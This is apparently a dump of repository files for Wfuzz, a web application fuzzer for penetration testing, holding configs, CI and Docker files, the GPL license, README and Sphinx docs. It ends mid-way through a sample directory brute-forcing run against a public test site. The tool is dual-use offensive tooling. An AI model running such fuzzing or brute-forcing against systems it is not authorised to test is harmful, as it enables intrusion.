[
  {
    "path": ".flake8",
    "content": "[flake8]\nmax-line-length = 80\nselect = C,E,F,W,B,B950\nignore = E203, E501, W503, E402, F401, W504\n"
  },
  {
    "path": ".github/dependabot.yml",
    "content": "version: 2\nupdates:\n\n  - package-ecosystem: \"github-actions\"\n    directory: \"/\"\n    schedule:\n      interval: \"daily\"\n\n  - package-ecosystem: \"docker\"\n    directory: \"/\"\n    schedule:\n      interval: \"daily\"\n\n  - package-ecosystem: \"pip\"\n    directory: \"/\"\n    schedule:\n      interval: \"daily\"\n"
  },
  {
    "path": ".github/workflows/docker-release.yml",
    "content": "name: docker-release\n\non:\n  release:\n    types: [published]\n\njobs:\n  docker:\n    name: Build and push Docker image\n    runs-on: ubuntu-latest\n    steps:\n      - name: Checkout repo\n        uses: actions/checkout@v2\n\n      - name: Set up QEMU\n        uses: docker/setup-qemu-action@v1\n\n      - name: Set up Docker Buildx\n        uses: docker/setup-buildx-action@v1\n\n      - name: Login to ghcr.io\n        uses: docker/login-action@v1.4.1\n        with:\n          registry: ghcr.io\n          username: ${{ github.repository_owner }}\n          password: ${{ secrets.CR_PAT }}\n\n      - name: Build and push Docker images\n        uses: docker/build-push-action@v2\n        with:\n          context: .\n          file: Dockerfile\n          push: true\n          tags: |\n            ghcr.io/${{ github.repository_owner }}/wfuzz:${{ github.event.release.tag_name }}\n            ghcr.io/${{ github.repository_owner }}/wfuzz:latest\n"
  },
  {
    "path": ".gitignore",
    "content": "wfuzz.ini\n\n# Byte-compiled / optimized / DLL files\n__pycache__/\n*.py[cod]\n\n# C extensions\n*.so\n\n# Distribution / packaging\n.Python\nenv/\nbuild/\ndevelop-eggs/\ndist/\ndownloads/\neggs/\nlib/\nlib64/\nparts/\nsdist/\nvar/\n*.egg-info/\n.installed.cfg\n*.egg\n\n# PyInstaller\n#  Usually these files are written by a python script from a template\n#  before PyInstaller builds the exe, so as to inject date/other infos into it.\n*.manifest\n*.spec\n\n# Installer logs\npip-log.txt\npip-delete-this-directory.txt\n\n# Unit test / coverage reports\nhtmlcov/\n.tox/\n.coverage\n.cache\nnosetests.xml\ncoverage.xml\n\n# Translations\n*.mo\n*.pot\n\n# Django stuff:\n*.log\n\n# Sphinx documentation\ndocs/_build/\n\n# PyBuilder\ntarget/\n\n# vim\n*.swp\n*.swo\n\nwfuzz.ini\n\n# Jetbrains IDE\n.idea\n"
  },
  {
    "path": ".travis.yml",
    "content": "sudo: required\nlanguage: python\nservices:\n  - docker\npython:\n  - \"3.4\"\n  - \"3.5\"\n  - \"3.6\"\n  - \"3.7\"\n  - \"3.8\"\nbefore_install:\n  - docker-compose -f tests/server_dir/docker-compose.yml up -d\ninstall:\n - make install-dev\n - python setup.py install\n  \nscript:\n  - flake8 src tests\n  - coverage run --append -m unittest discover -v -s tests/\n  - if [[ $TRAVIS_PYTHON_VERSION == '3.6' && $TRAVIS_BRANCH == 'master' ]]; then codecov; fi\n  - if [[ $TRAVIS_PYTHON_VERSION != '3.4' && $TRAVIS_PYTHON_VERSION != '3.5' ]]; then black --check src tests; fi\ndeploy:\n  provider: pypi\n  user: x4vi_mendez\n  password:\n    secure: qE2hD6gyopogdJh6Qs9B1s8LkTLiZ2b4jZzDojDOnhITve2hosOfoi2T/a9JrRxP9xeMJmt7t4B7F6h+qiSdi6fz2CLT8qAG5zJFfk/+ZqIQX3zvhthoG6QS8F4Qk7kNDMuaMOeMF3qtK5oSR/cqBY3Fs7SiF9wmH2OH7XBjFdOhRzs7Y8vVEXfxy6O4wHqXkwa6ZHXfuFPly/aZGj8CwlVF4qT6zQGpOrTAJneUonQGei2qIBGVSMSLGXHxndN3a1/RA0L+J3jZKb7zi6XyqAJvXTa3OqbxwSSEdLlUdzPrjLPuMuArgTgDErgSiDlwbceDwx7TlBJy2VEF2OwQ9KAIQFKkE6Rp/sp38l3Dnriv8gzi7N0sdaSAMDH5n8zvl6xJ5hqOnB+1jfpEiSQmvr7chi3OxpniG0eW9ThgZOSLjGp0TXGSh9P3jAiZPlt1HWmNoiwOuTwjue0Lx0MH2vYW1smHJSM+FMbdCL1GwFMsEmBX+2bFzaniuyUEmM5GBpj66Pa9yULho4FTC00Aumffl2A7gnSinYwLzjIB3zUMWFzZBaijLr8caeTYMnMdccNYxWcU4kE1h584FGtMDAO8IdEwW907ZTn0H/sTrb+lFs+x3H4oLc9i+/9j/K1G3jrKJfcTOuMm4D9df+lcfgRCQzB6RyiHJWlEdGEBrJM=\n  distributions: sdist bdist_wheel\n  on:\n    branch:\n      - master\n      - /^v.*$/\n    tags: true\n    python: 3.6\naddons:\n  apt:\n    packages:\n    - libcurl4-openssl-dev\n"
  },
  {
    "path": "Dockerfile",
    "content": "FROM python:3.8-alpine3.12 as builder\n\nRUN apk add --no-cache build-base curl-dev\n\nCOPY . wfuzz/\n\nWORKDIR wfuzz/\n\nRUN python setup.py install\n\n\nFROM python:3.8-alpine3.12\n\nRUN apk add --no-cache curl-dev\n\nCOPY --from=builder /usr/local /usr/local\n\nCMD wfuzz\n"
  },
  {
    "path": "ISSUE_TEMPLATE.md",
    "content": "# Issue template\n\n## Context\n\n**Please check:**\n\n- [ ] I've read the docs for [Wfuzz](http://wfuzz.readthedocs.io/)\n\n**Please describe your local environment:**\n\nWfuzz version: Output of wfuzz --version\n\nPython version: Output of python --version\n\nOS: X\n\n## Report\n\n**What is the current behavior?**\n\nX\n\n**What is the expected or desired behavior?**\n\nX\n\n**Please provide steps to reproduce, including exact wfuzz command executed and output:**\n\nX\n\n**Other relevant information:**\n\nX\n"
  },
  {
    "path": "LICENSE",
    "content": "GNU GENERAL PUBLIC LICENSE\n                       Version 2, June 1991\n\n Copyright (C) 1989, 1991 Free Software Foundation, Inc., <http://fsf.org/>\n 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The licenses for most software are designed to take away your\nfreedom to share and change it.  By contrast, the GNU General Public\nLicense is intended to guarantee your freedom to share and change free\nsoftware--to make sure the software is free for all its users.  This\nGeneral Public License applies to most of the Free Software\nFoundation's software and to any other program whose authors commit to\nusing it.  (Some other Free Software Foundation software is covered by\nthe GNU Lesser General Public License instead.)  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthis service if you wish), that you receive source code or can get it\nif you want it, that you can change the software or use pieces of it\nin new free programs; and that you know you can do these things.\n\n  To protect your rights, we need to make restrictions that forbid\nanyone to deny you these rights or to ask you to surrender the rights.\nThese restrictions translate to certain responsibilities for you if you\ndistribute copies of the software, or if you modify it.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must give the recipients all the rights that\nyou have.  You must make sure that they, too, receive or can get the\nsource code.  And you must show them these terms so they know their\nrights.\n\n  We protect your rights with two steps: (1) copyright the software, and\n(2) offer you this license which gives you legal permission to copy,\ndistribute and/or modify the software.\n\n  Also, for each author's protection and ours, we want to make certain\nthat everyone understands that there is no warranty for this free\nsoftware.  If the software is modified by someone else and passed on, we\nwant its recipients to know that what they have is not the original, so\nthat any problems introduced by others will not reflect on the original\nauthors' reputations.\n\n  Finally, any free program is threatened constantly by software\npatents.  We wish to avoid the danger that redistributors of a free\nprogram will individually obtain patent licenses, in effect making the\nprogram proprietary.  To prevent this, we have made it clear that any\npatent must be licensed for everyone's free use or not licensed at all.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                    GNU GENERAL PUBLIC LICENSE\n   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION\n\n  0. This License applies to any program or other work which contains\na notice placed by the copyright holder saying it may be distributed\nunder the terms of this General Public License.  The \"Program\", below,\nrefers to any such program or work, and a \"work based on the Program\"\nmeans either the Program or any derivative work under copyright law:\nthat is to say, a work containing the Program or a portion of it,\neither verbatim or with modifications and/or translated into another\nlanguage.  (Hereinafter, translation is included without limitation in\nthe term \"modification\".)  Each licensee is addressed as \"you\".\n\nActivities other than copying, distribution and modification are not\ncovered by this License; they are outside its scope.  The act of\nrunning the Program is not restricted, and the output from the Program\nis covered only if its contents constitute a work based on the\nProgram (independent of having been made by running the Program).\nWhether that is true depends on what the Program does.\n\n  1. You may copy and distribute verbatim copies of the Program's\nsource code as you receive it, in any medium, provided that you\nconspicuously and appropriately publish on each copy an appropriate\ncopyright notice and disclaimer of warranty; keep intact all the\nnotices that refer to this License and to the absence of any warranty;\nand give any other recipients of the Program a copy of this License\nalong with the Program.\n\nYou may charge a fee for the physical act of transferring a copy, and\nyou may at your option offer warranty protection in exchange for a fee.\n\n  2. You may modify your copy or copies of the Program or any portion\nof it, thus forming a work based on the Program, and copy and\ndistribute such modifications or work under the terms of Section 1\nabove, provided that you also meet all of these conditions:\n\n    a) You must cause the modified files to carry prominent notices\n    stating that you changed the files and the date of any change.\n\n    b) You must cause any work that you distribute or publish, that in\n    whole or in part contains or is derived from the Program or any\n    part thereof, to be licensed as a whole at no charge to all third\n    parties under the terms of this License.\n\n    c) If the modified program normally reads commands interactively\n    when run, you must cause it, when started running for such\n    interactive use in the most ordinary way, to print or display an\n    announcement including an appropriate copyright notice and a\n    notice that there is no warranty (or else, saying that you provide\n    a warranty) and that users may redistribute the program under\n    these conditions, and telling the user how to view a copy of this\n    License.  (Exception: if the Program itself is interactive but\n    does not normally print such an announcement, your work based on\n    the Program is not required to print an announcement.)\n\nThese requirements apply to the modified work as a whole.  If\nidentifiable sections of that work are not derived from the Program,\nand can be reasonably considered independent and separate works in\nthemselves, then this License, and its terms, do not apply to those\nsections when you distribute them as separate works.  But when you\ndistribute the same sections as part of a whole which is a work based\non the Program, the distribution of the whole must be on the terms of\nthis License, whose permissions for other licensees extend to the\nentire whole, and thus to each and every part regardless of who wrote it.\n\nThus, it is not the intent of this section to claim rights or contest\nyour rights to work written entirely by you; rather, the intent is to\nexercise the right to control the distribution of derivative or\ncollective works based on the Program.\n\nIn addition, mere aggregation of another work not based on the Program\nwith the Program (or with a work based on the Program) on a volume of\na storage or distribution medium does not bring the other work under\nthe scope of this License.\n\n  3. You may copy and distribute the Program (or a work based on it,\nunder Section 2) in object code or executable form under the terms of\nSections 1 and 2 above provided that you also do one of the following:\n\n    a) Accompany it with the complete corresponding machine-readable\n    source code, which must be distributed under the terms of Sections\n    1 and 2 above on a medium customarily used for software interchange; or,\n\n    b) Accompany it with a written offer, valid for at least three\n    years, to give any third party, for a charge no more than your\n    cost of physically performing source distribution, a complete\n    machine-readable copy of the corresponding source code, to be\n    distributed under the terms of Sections 1 and 2 above on a medium\n    customarily used for software interchange; or,\n\n    c) Accompany it with the information you received as to the offer\n    to distribute corresponding source code.  (This alternative is\n    allowed only for noncommercial distribution and only if you\n    received the program in object code or executable form with such\n    an offer, in accord with Subsection b above.)\n\nThe source code for a work means the preferred form of the work for\nmaking modifications to it.  For an executable work, complete source\ncode means all the source code for all modules it contains, plus any\nassociated interface definition files, plus the scripts used to\ncontrol compilation and installation of the executable.  However, as a\nspecial exception, the source code distributed need not include\nanything that is normally distributed (in either source or binary\nform) with the major components (compiler, kernel, and so on) of the\noperating system on which the executable runs, unless that component\nitself accompanies the executable.\n\nIf distribution of executable or object code is made by offering\naccess to copy from a designated place, then offering equivalent\naccess to copy the source code from the same place counts as\ndistribution of the source code, even though third parties are not\ncompelled to copy the source along with the object code.\n\n  4. You may not copy, modify, sublicense, or distribute the Program\nexcept as expressly provided under this License.  Any attempt\notherwise to copy, modify, sublicense or distribute the Program is\nvoid, and will automatically terminate your rights under this License.\nHowever, parties who have received copies, or rights, from you under\nthis License will not have their licenses terminated so long as such\nparties remain in full compliance.\n\n  5. You are not required to accept this License, since you have not\nsigned it.  However, nothing else grants you permission to modify or\ndistribute the Program or its derivative works.  These actions are\nprohibited by law if you do not accept this License.  Therefore, by\nmodifying or distributing the Program (or any work based on the\nProgram), you indicate your acceptance of this License to do so, and\nall its terms and conditions for copying, distributing or modifying\nthe Program or works based on it.\n\n  6. Each time you redistribute the Program (or any work based on the\nProgram), the recipient automatically receives a license from the\noriginal licensor to copy, distribute or modify the Program subject to\nthese terms and conditions.  You may not impose any further\nrestrictions on the recipients' exercise of the rights granted herein.\nYou are not responsible for enforcing compliance by third parties to\nthis License.\n\n  7. If, as a consequence of a court judgment or allegation of patent\ninfringement or for any other reason (not limited to patent issues),\nconditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot\ndistribute so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you\nmay not distribute the Program at all.  For example, if a patent\nlicense would not permit royalty-free redistribution of the Program by\nall those who receive copies directly or indirectly through you, then\nthe only way you could satisfy both it and this License would be to\nrefrain entirely from distribution of the Program.\n\nIf any portion of this section is held invalid or unenforceable under\nany particular circumstance, the balance of the section is intended to\napply and the section as a whole is intended to apply in other\ncircumstances.\n\nIt is not the purpose of this section to induce you to infringe any\npatents or other property right claims or to contest validity of any\nsuch claims; this section has the sole purpose of protecting the\nintegrity of the free software distribution system, which is\nimplemented by public license practices.  Many people have made\ngenerous contributions to the wide range of software distributed\nthrough that system in reliance on consistent application of that\nsystem; it is up to the author/donor to decide if he or she is willing\nto distribute software through any other system and a licensee cannot\nimpose that choice.\n\nThis section is intended to make thoroughly clear what is believed to\nbe a consequence of the rest of this License.\n\n  8. If the distribution and/or use of the Program is restricted in\ncertain countries either by patents or by copyrighted interfaces, the\noriginal copyright holder who places the Program under this License\nmay add an explicit geographical distribution limitation excluding\nthose countries, so that distribution is permitted only in or among\ncountries not thus excluded.  In such case, this License incorporates\nthe limitation as if written in the body of this License.\n\n  9. The Free Software Foundation may publish revised and/or new versions\nof the General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\nEach version is given a distinguishing version number.  If the Program\nspecifies a version number of this License which applies to it and \"any\nlater version\", you have the option of following the terms and conditions\neither of that version or of any later version published by the Free\nSoftware Foundation.  If the Program does not specify a version number of\nthis License, you may choose any version ever published by the Free Software\nFoundation.\n\n  10. If you wish to incorporate parts of the Program into other free\nprograms whose distribution conditions are different, write to the author\nto ask for permission.  For software which is copyrighted by the Free\nSoftware Foundation, write to the Free Software Foundation; we sometimes\nmake exceptions for this.  Our decision will be guided by the two goals\nof preserving the free status of all derivatives of our free software and\nof promoting the sharing and reuse of software generally.\n\n                            NO WARRANTY\n\n  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY\nFOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN\nOTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES\nPROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED\nOR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\nMERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS\nTO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE\nPROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,\nREPAIR OR CORRECTION.\n\n  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR\nREDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,\nINCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING\nOUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED\nTO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY\nYOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER\nPROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGES.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nconvey the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    {description}\n    Copyright (C) {year}  {fullname}\n\n    This program is free software; you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation; either version 2 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License along\n    with this program; if not, write to the Free Software Foundation, Inc.,\n    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.\n\nAlso add information on how to contact you by electronic and paper mail.\n\nIf the program is interactive, make it output a short notice like this\nwhen it starts in an interactive mode:\n\n    Gnomovision version 69, Copyright (C) year name of author\n    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, the commands you use may\nbe called something other than `show w' and `show c'; they could even be\nmouse-clicks or menu items--whatever suits your program.\n\nYou should also get your employer (if you work as a programmer) or your\nschool, if any, to sign a \"copyright disclaimer\" for the program, if\nnecessary.  Here is a sample; alter the names:\n\n  Yoyodyne, Inc., hereby disclaims all copyright interest in the program\n  `Gnomovision' (which makes passes at compilers) written by James Hacker.\n\n  {signature of Ty Coon}, 1 April 1989\n  Ty Coon, President of Vice\n\nThis General Public License does not permit incorporating your program into\nproprietary programs.  If your program is a subroutine library, you may\nconsider it more useful to permit linking proprietary applications with the\nlibrary.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.\n\n"
  },
  {
    "path": "MANIFEST.in",
    "content": "include README.md\ninclude LICENSE\ninclude docs/*\n"
  },
  {
    "path": "Makefile",
    "content": ".PHONY: docs\ntox:\n\tpip install tox\n\ttox --recreate\ntest:\n\tpytest -v -s tests/\nflake8:\n\tblack --check src tests\n\tflake8 src tests\npublish:\n\tpip install 'twine>=1.5.0'\n\tpython setup.py sdist\n\ttwine upload dist/*\n\trm -fr build dist\n\npublish-dev:\n\tpip install 'twine>=1.5.0'\n\tpython setup.py sdist\n\ttwine upload --repository-url https://test.pypi.org/legacy/ dist/*\n\trm -fr build dist\ndocs:\n\tpip install -e \".[docs]\"\n\tcd docs && make html\n\ncoverage:\n\tcoverage report --skip-covered --include \"*python3.8/site-packages/wfuzz*\" -m\n\ninstall: install-dev\n\tpip install -r requirements.txt\n\ninstall-dev:\n\tpip install -e \".[dev]\"\n\nfreeze:\n\tpip-compile --output-file requirements.txt setup.py\nhelp:\n\t@echo \"make help              Show this help message\"\n\t@echo \"make test              Run local tests with tox\"\n\t@echo \"make flake8            Run the code linter(s) and print any warnings\"\n\t@echo \"make publish           Publish pip lib to pypi\"\n\t@echo \"make publish-dev       Publish pip lib to pypi test\"\n\t@echo \"make docs              Create html docs\"\n\t@echo \"make install           Install requirements\"\n\t@echo \"make install-dev       Install dev requirements\"\n"
  },
  {
    "path": "README.md",
    "content": "<img src=\"https://github.com/xmendez/wfuzz/blob/master/docs/_static/logo/wfuzz_letters.svg\" width=\"500\">\n\n[![Build Status](https://travis-ci.org/xmendez/wfuzz.svg?branch=master)](https://travis-ci.org/xmendez/wfuzz)\n<a href=\"https://pypi.python.org/pypi/wfuzz\"><img src=\"https://img.shields.io/pypi/v/wfuzz.svg\"></a>\n<a href=\"https://pypi.python.org/pypi/wfuzz\"><img src=\"https://img.shields.io/pypi/dm/wfuzz\"></a>\n<a href=\"https://pypi.python.org/pypi/wfuzz\"><img src=\"https://img.shields.io/pypi/pyversions/wfuzz.svg\"></a>\n<a href=\"https://codecov.io/github/xmendez/wfuzz\"><img src=\"https://codecov.io/github/xmendez/wfuzz/coverage.svg?branch=master\"></a>\n\n\n# Wfuzz - The Web Fuzzer\n\nWfuzz has been created to facilitate the task in web applications assessments and it is based on a simple concept: it replaces any reference to the FUZZ keyword by the value of a given payload.\n\nA payload in Wfuzz is a source of data.\n\nThis simple concept allows any input to be injected in any field of an HTTP request, allowing to perform complex web security attacks in different web application components such as: parameters, authentication, forms, directories/files, headers, etc.\n\nWfuzz is more than a web content scanner:\n\n* Wfuzz could help you to secure your web applications by finding and exploiting web application vulnerabilities. Wfuzz’s web application vulnerability scanner is supported by plugins.\n\n* Wfuzz is a completely modular framework and makes it easy for even the newest of Python developers to contribute. Building plugins is simple and takes little more than a few minutes.\n\n* Wfuzz exposes a simple language interface to the previous HTTP requests/responses performed using Wfuzz or other tools, such as Burp. This allows you to perform manual and semi-automatic tests with full context and understanding of your actions, without relying on a web application scanner underlying implementation.\n\n\nIt was created to facilitate the task in web applications assessments, it's a tool by pentesters for pentesters ;)\n\n## Installation \n\nTo install WFuzz, simply use pip:\n\n```\npip install wfuzz\n```\n\nTo run Wfuzz from a docker image, run:\n\n```\n$ docker run -v $(pwd)/wordlist:/wordlist/ -it ghcr.io/xmendez/wfuzz wfuzz\n```\n\n## Documentation\n\nDocumentation is available at http://wfuzz.readthedocs.io\n\n## Download \n\nCheck github releases. Latest is available at https://github.com/xmendez/wfuzz/releases/latest\n"
  },
  {
    "path": "docs/Makefile",
    "content": "# Minimal makefile for Sphinx documentation\n#\n\n# You can set these variables from the command line.\nSPHINXOPTS    =\nSPHINXBUILD   = sphinx-build\nSPHINXPROJ    = Wfuzz\nSOURCEDIR     = .\nBUILDDIR      = _build\n\n# Put it first so that \"make\" without argument is like \"make help\".\nhelp:\n\t@$(SPHINXBUILD) -M help \"$(SOURCEDIR)\" \"$(BUILDDIR)\" $(SPHINXOPTS) $(O)\n\n.PHONY: help Makefile\n\n# Catch-all target: route all unknown targets to Sphinx using the new\n# \"make mode\" option.  $(O) is meant as a shortcut for $(SPHINXOPTS).\n%: Makefile\n\t@$(SPHINXBUILD) -M $@ \"$(SOURCEDIR)\" \"$(BUILDDIR)\" $(SPHINXOPTS) $(O)"
  },
  {
    "path": "docs/_templates/sidebarlogo.html",
    "content": "<p class=\"logo\">\n  <a href=\"{{ pathto(master_doc) }}\">\n    <img class=\"logo\" src=\"{{ pathto('_static/logo/wfuzz.svg', 1) }}\"/>\n  </a>\n</p>\n<p>\n\n<p>\nWFuzz is a web application security fuzzer tool and library for Python.\n</p>\n\n\n<h3>GitHub repository</h3>\n\n<p>\nBe part of the Wfuzz's community via <a href=\"https://github.com/xmendez/wfuzz/\">GitHub tickets and pull requests</a>.</p> \n\n<iframe src=\"http://ghbtns.com/github-btn.html?user=xmendez&repo=wfuzz&type=watch&count=true&size=large\"\n  allowtransparency=\"true\" frameborder=\"0\" scrolling=\"0\" width=\"200px\" height=\"35px\"></iframe>\n</p>\n\n<h3>Stay informed</h3>\n\n<p>\nDon’t forget to follow my github, twitter for news, releases and feedback.\n</p>\n\n<p><iframe src=\"http://ghbtns.com/github-btn.html?user=xmendez&type=follow&count=false\"\n  allowtransparency=\"true\" frameborder=\"0\" scrolling=\"0\" width=\"200\" height=\"20\"></iframe></p>\n\n<p>\n<script async src=\"http://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n<a href=\"https://twitter.com/x4vi_mendez\" class=\"twitter-follow-button\" data-show-count=\"false\">Follow @x4vi_mendez</a>\n</p>\n\n"
  },
  {
    "path": "docs/conf.py",
    "content": "# -*- coding: utf-8 -*-\n#\n# Wfuzz documentation build configuration file, created by\n# sphinx-quickstart on Thu Mar  2 13:44:00 2017.\n#\n# This file is execfile()d with the current directory set to its\n# containing dir.\n#\n# Note that not all possible configuration values are present in this\n# autogenerated file.\n#\n# All configuration values have a default; values that are commented out\n# serve to show the default.\n\n# If extensions (or modules to document with autodoc) are in another directory,\n# add these directories to sys.path here. If the directory is relative to the\n# documentation root, use os.path.abspath to make it absolute, like shown here.\n#\n# import os\n# import sys\n# sys.path.insert(0, os.path.abspath('.'))\n\n\n# -- General configuration ------------------------------------------------\n\n# If your documentation needs a minimal Sphinx version, state it here.\n#\n# needs_sphinx = '1.0'\n\n# Add any Sphinx extension module names here, as strings. They can be\n# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom\n# ones.\nextensions = []\n\n# Add any paths that contain templates here, relative to this directory.\ntemplates_path = ['_templates']\n\n# The suffix(es) of source filenames.\n# You can specify multiple suffix as a list of string:\n#\n# source_suffix = ['.rst', '.md']\nsource_suffix = '.rst'\n\n# The master toctree document.\nmaster_doc = 'index'\n\n# General information about the project.\nproject = 'Wfuzz'\ncopyright = '2011-2020, Xavi Mendez'\nauthor = 'Xavi Mendez'\n\n# The version info for the project you're documenting, acts as replacement for\n# |version| and |release|, also used in various other places throughout the\n# built documents.\n#\n# The short X.Y version.\nversion = '2.1.4'\n# The full version, including alpha/beta/rc tags.\nrelease = '2.1.4'\n\n# The language for content autogenerated by Sphinx. Refer to documentation\n# for a list of supported languages.\n#\n# This is also used if you do content translation via gettext catalogs.\n# Usually you set \"language\" from the command line for these cases.\nlanguage = None\n\n# List of patterns, relative to source directory, that match files and\n# directories to ignore when looking for source files.\n# This patterns also effect to html_static_path and html_extra_path\nexclude_patterns = ['_build', 'Thumbs.db', '.DS_Store']\n\n# The name of the Pygments (syntax highlighting) style to use.\npygments_style = 'sphinx'\n\n# If true, `todo` and `todoList` produce output, else they produce nothing.\ntodo_include_todos = False\n\n\n# -- Options for HTML output ----------------------------------------------\n\n# The theme to use for HTML and HTML Help pages.  See the documentation for\n# a list of builtin themes.\n#\nhtml_theme = 'alabaster'\n\n# Theme options are theme-specific and customize the look and feel of a theme\n# further.  For a list of options available for each theme, see the\n# documentation.\n#\nhtml_theme_options = {\n    'show_powered_by': False,\n    'github_user': 'xmendez',\n    'github_repo': 'wfuzz',\n    'github_banner': True,\n    'show_related': False,\n    'sidebar_collapse': True,\n}\n\n# Add any paths that contain custom static files (such as style sheets) here,\n# relative to this directory. They are copied after the builtin static files,\n# so a file named \"default.css\" will overwrite the builtin \"default.css\".\nhtml_static_path = ['_static']\n\n\n# -- Options for HTMLHelp output ------------------------------------------\n\n# Output file base name for HTML help builder.\nhtmlhelp_basename = 'Wfuzzdoc'\n\n# Custom sidebar templates, maps document names to template names.\nhtml_sidebars = {\n    '**': [\n        'sidebarlogo.html',\n        'navigation.html',\n        'searchbox.html'\n    ]\n}\n\n# -- Options for LaTeX output ---------------------------------------------\n\nlatex_elements = {\n    # The paper size ('letterpaper' or 'a4paper').\n    #\n    # 'papersize': 'letterpaper',\n\n    # The font size ('10pt', '11pt' or '12pt').\n    #\n    # 'pointsize': '10pt',\n\n    # Additional stuff for the LaTeX preamble.\n    #\n    # 'preamble': '',\n\n    # Latex figure (float) alignment\n    #\n    # 'figure_align': 'htbp',\n}\n\n# Grouping the document tree into LaTeX files. List of tuples\n# (source start file, target name, title,\n#  author, documentclass [howto, manual, or own class]).\nlatex_documents = [\n    (master_doc, 'Wfuzz.tex', 'Wfuzz Documentation',\n     'Xavi Mendez', 'manual'),\n]\n\n\n# -- Options for manual page output ---------------------------------------\n\n# One entry per manual page. List of tuples\n# (source start file, name, description, authors, manual section).\nman_pages = [\n    (master_doc, 'wfuzz', 'Wfuzz Documentation',\n     [author], 1)\n]\n\n\n# -- Options for Texinfo output -------------------------------------------\n\n# Grouping the document tree into Texinfo files. List of tuples\n# (source start file, target name, title, author,\n#  dir menu entry, description, category)\ntexinfo_documents = [\n    (master_doc, 'Wfuzz', 'Wfuzz Documentation',\n     author, 'Wfuzz', 'One line description of project.',\n     'Miscellaneous'),\n]\n"
  },
  {
    "path": "docs/dev/plugins.rst",
    "content": "Plugin template\n===============\n\nPrinter template\n===============\n\nEncoder template\n===============\n"
  },
  {
    "path": "docs/index.rst",
    "content": ".. Wfuzz documentation master file, created by\n   sphinx-quickstart on Thu Mar  2 13:44:00 2017.\n   You can adapt this file completely to your liking, but it should at least\n   contain the root `toctree` directive.\n\nWfuzz: The Web fuzzer\n==================================\n\n.. image:: https://img.shields.io/pypi/v/wfuzz.svg\n    :target: https://pypi.org/project/wfuzz/\n\n.. image:: https://img.shields.io/pypi/l/wfuzz.svg\n    :target: https://pypi.org/project/wfuzz/\n\n.. image:: https://img.shields.io/pypi/pyversions/wfuzz.svg\n    :target: https://pypi.org/project/wfuzz/\n\n.. image:: https://codecov.io/github/xmendez/wfuzz/coverage.svg?branch=master\n    :target: https://codecov.io/github/xmendez/wfuzz\n\nWfuzz provides a framework to automate web applications security assessments and could help you to secure your web applications by finding and exploiting web application vulnerabilities.\n\nSee Wfuzz in action\n-------------------\n\n* Wfuzz cli::\n\n    $ wfuzz -w wordlist/general/common.txt --hc 404 http://testphp.vulnweb.com/FUZZ                                                                                              \n    ********************************************************\n    * Wfuzz 2.2 - The Web Bruteforcer                      *\n    ********************************************************\n\n    Target: http://testphp.vulnweb.com/FUZZ\n    Total requests: 950\n\n    ==================================================================\n    ID      Response   Lines      Word         Chars          Request    \n    ==================================================================\n\n    00022:  C=301      7 L        12 W          184 Ch        \"admin\"\n    00130:  C=403     10 L        29 W          263 Ch        \"cgi-bin\"\n    00378:  C=301      7 L        12 W          184 Ch        \"images\"\n    00690:  C=301      7 L        12 W          184 Ch        \"secured\"\n    00938:  C=301      7 L        